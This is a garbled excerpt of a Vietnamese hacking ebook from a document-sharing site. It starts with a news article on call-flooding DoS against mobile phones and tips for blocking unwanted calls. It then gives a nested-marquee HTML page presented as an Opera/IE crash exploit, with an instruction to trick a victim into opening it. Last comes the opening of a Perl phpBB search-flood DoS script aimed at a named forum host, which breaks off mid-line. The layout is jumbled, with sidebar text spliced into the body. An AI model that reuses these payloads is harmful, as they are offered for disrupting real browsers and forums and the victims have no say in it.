Hacker Professional Ebook part 296 potx

liên đới xử lý vụ việc từ hai phía, liên quan đến hai số thuê bao cụ thể của hai mạng mình." Tuy nhiên, trong thư phản ánh tới VietNamNet, anh Di cho biết: "Tôi có gọi điện cho MobiFone

Trang 1

liên đới xử lý vụ việc từ hai phía, liên quan đến hai số thuê bao cụ thể của hai mạng mình."

Tuy nhiên, trong thư phản ánh tới VietNamNet, anh Di cho biết: "Tôi có gọi điện cho MobiFone và VinaPhone thì họ đùn đẩy nhau và bảo tôi làm đơn gửi lên trung

tâm CSKH của MobiFone, còn phía VinaPhone thì chỉ hứa sẽ nhắc nhở khách hàng 09194138xx chứ không thể làm gì hơn(?!)"

Sẽ ra sao nếu các hình thức "tấn công" vào ĐTDĐ này bị sử dụng tràn lan vào các mục đích xấu? hậu quả sẽ khó có thể ước tính Các nhà cung cấp di động có trách nhiệm gì không nếu hiện tượng tấn công DOS xảy ra? Hay khách hàng phải "tự xử" với nhau?

Khách hàng phải tự bảo vệ lấy mình?

Tấn công từ chối dịch

vụ phân tán (DDOS) là

gì?

Tấn công DDOS là từ

viết tắt của Distributed

Deny Of Service attack -

Tấn công từ chối dịch vụ

phân tán Tương tự với

tấn công DOS, nhưng

nguồn gửi không đến từ

một máy tính trên

Internet, mà từ một hệ

thống nhiều máy tính

với vô số địa chỉ IP khác

nhau Việc ngăn chặn

DDOS khó khăn hơn

nhiều so với DOS

Tương tự, với DDOS

trên mạng di động, cụ

thể là chương trình

"nháy máy trúng

thưởng" giả trong bài

viết này, thuê bao "nạn

Trang 2

Theo kinh nghiệm của các ''bậc tiền bối'' trong lĩnh vực quấy rối di động, trước khi nhờ đến nhà điện thoại, chi bằng hãy tự lo lấy thân Có rất nhiều cách ngăn chặn các cuộc gọi quấy rối, cuộc gọi không cần thiết Thứ nhất, bạn hãy kích hoạt chế độ hộp thư thoại (Voice Mail Service-VMS), mà vẫn giữ được liên lạc với những người khác Các cuộc gọi mỗi khi gọi đến số bạn (mà chưa thu VMS) vẫn sẽ hiện lên máy bạn và vì thế bạn vẫn biết được số người quen gọi đến cho bạn Trường hợp quan trọng, người ta sẽ thu VMS, bạn sẽ nhận được tin nhắn thoại Sau khi kích hoạt tất cả mọi cuộc gọi sẽ

tự động chuyển vào hộp thư thoại, vì thế bạn sẽ không còn bị quấy rầy nữa

Thứ hai, ngay từ đầu, người sử dụng có thể đăng ký dịch vụ Call Barring với nhà cung cấp dịch vụ Call Barring cho phép chủ thuê bao chặn các cuộc gọi đi, cũng như cuộc gọi đến theo mong muốn của mình

Đặc biệt hơn, trên một số diễn đàn di động, các chuyên gia trong lĩnh vực này đã ''hiến kế'' các chiêu thức vô cùng hiệu quả Đó là cài đặt thêm các phần mềm dùng

để chặn cuộc gọi một cách chủ động hơn Dùng các trình ứng dụng dành cho Mobile vừa tiện lại vừa không tốn tiền Nếu điện thoại hiện đại có thể cài qua Bluetooth, Infrared ,các máy điện thoại di động không hỗ trợ các tính năng trên có thể cài qua cable Người sử dụng có thể đến các cửa hàng di động để được cài đặt, với hai cách như sau:

1 Blacklist : tạo ra danh sách “đen” những số điện thoại mà bạn không muốn

trả lời Khi chức năng này đã được kích hoạt thì những số mà bạn đã liệt kê vào danh sách “đen” này rồi thì không thể gọi cho bạn được

Với chức năng Accept only list: Xác định các số điện thoại chỉ có thể gọi

cho bạn được Khi chức năng này được bật lên thì chỉ có các số điện thoại

mà bạn muốn mới có thể liên lạc với bạn được, còn các số điện thoại nằm ngoài danh sách này cũng như được liệt vào danh sách đen, không thể liên lạc với bạn được

Sử dụng phần mềm này bạn không cần lo lắng người khác biết mình “từ chối bất lịch” Cách từ chối này cũng tương tự như bạn nhấn nút “cúp máy”

(thường là nút hình chiếc điện thoại màu đỏ nằm bên tay trái), như thế là người khác sẽ biết bạn không muốn trả lời cuộc gọi của họ Phần mềm này

nhân" phải nhận vô số

cuộc gọi nháy máy liên

tục từ các thuê bao khác

nhau Với DOS bình

thường lên ĐTDĐ thì có

thể chặn bằng các dịch

vụ như Call Barring, còn

DDOS thì không thể

chống đỡ, vì có rất nhiều

thuê bao tham gia nháy

máy

Trang 3

sẽ tạo cho người nghe âm thanh “tít tít tít” như thể là đường dây điện thoại đang bận

2 Advance Call Manager:là một ứng dụng tiện ích mở rộng cho phép người

dùng điện thoại dòng điện thoại Symbian thiết lập các chế độ điều khiển các cuộc gọi đến, ACM cho phép bạn xử lý các cuộc gọi theo nhóm, với mỗi nhóm gọi sẽ có một chế độ nhận cuộc gọi khác nhau Với những cuộc gọi

mà bạn không mong muốn bạn có thể tự động khai báo cho chương trình xử

lý chặn các cuộc gọi từ số điện thoại đó Địa chỉ download cho các dòng máy điện thoại:

Sony Ericsson P800/P900/P910:

http://www.webgate.bg/acm/ACM_v2.5_SE.SIS

Motorola A925/A1000:

http://www.webgate.bg/acm/ACM_v2.5_MOTOROLA.SIS

Nokia 3230/6260/6600/6620/6630/6670/6680/6681/6682/7610

và Panasonic

X700http://www.webgate.bg/acm/ACM_v2.00_S60_DP2x.SIS

Nokia 7650/3650/3600/3660/3620/N-Gage và Siemens SX1:

http://www.webgate.bg/acm/ACM_v1.04_S60_6.1.SIS

 Thế Phong - Hoàng Hùng

(vietnamnet.vn)

DoS Opera và IE

<html>

<head>

<style>

</style>

<title>Ie voulnrability credit's to n00b and every-one who helped.</title></head>

<marquee><marquee><marquee><marquee><marquee><marq

uee><marquee><marquee>

Trang 4

<marquee><marquee><marquee><marquee></marquee></marquee></marquee>< /marq

uee></marquee></marquee></marquee></marquee></marquee></marquee></ma rque

e></marquee></marquee></marquee></marquee></marquee></marquee></marq uee>

</marquee></marquee></marquee></marquee></marquee></marquee></marquee

></

marquee></marquee></marquee></marquee></marquee></marquee></marquee>

</ma

rquee></marquee></marquee></marquee></marquee></marquee></marquee></ marq

uee></marquee></marquee></marquee></marquee></marquee></marquee></ma

Trang 5

rque

e></marquee></marquee></marquee></marquee></marquee></marquee></marq uee>

</marquee></marquee></marquee></marquee></marquee></marquee></marquee

></

marquee></marquee></marquee></marquee></marquee></marquee></marquee>

</body>

</html>

====

Lưu lại thành tập tin *.html rồi dụ victim

Bigball_hacker(vniss)

dos phpbb đơn giản hiệu quả

vulnerable 2.0.19 trở xuống

exploit đc rek optimized:

PHP Code:

#!/usr/bin/perl

use IO::Socket;

## Initialized X

$x = 0;

$host = "svvn.ru";

$pth = "/forum/";

while($x != 0000)

{

$x++;

}

## Search exploit phpbb by SpiderZ

while($x != 10000)

{

Trang 6

## Invia Search exploit phpbb by SpiderZ

$postit = "search_keywords=Vietnamese+Internet+Secure+System+Exploit+2006

Định dạng
Số trang	6
Dung lượng	224,58 KB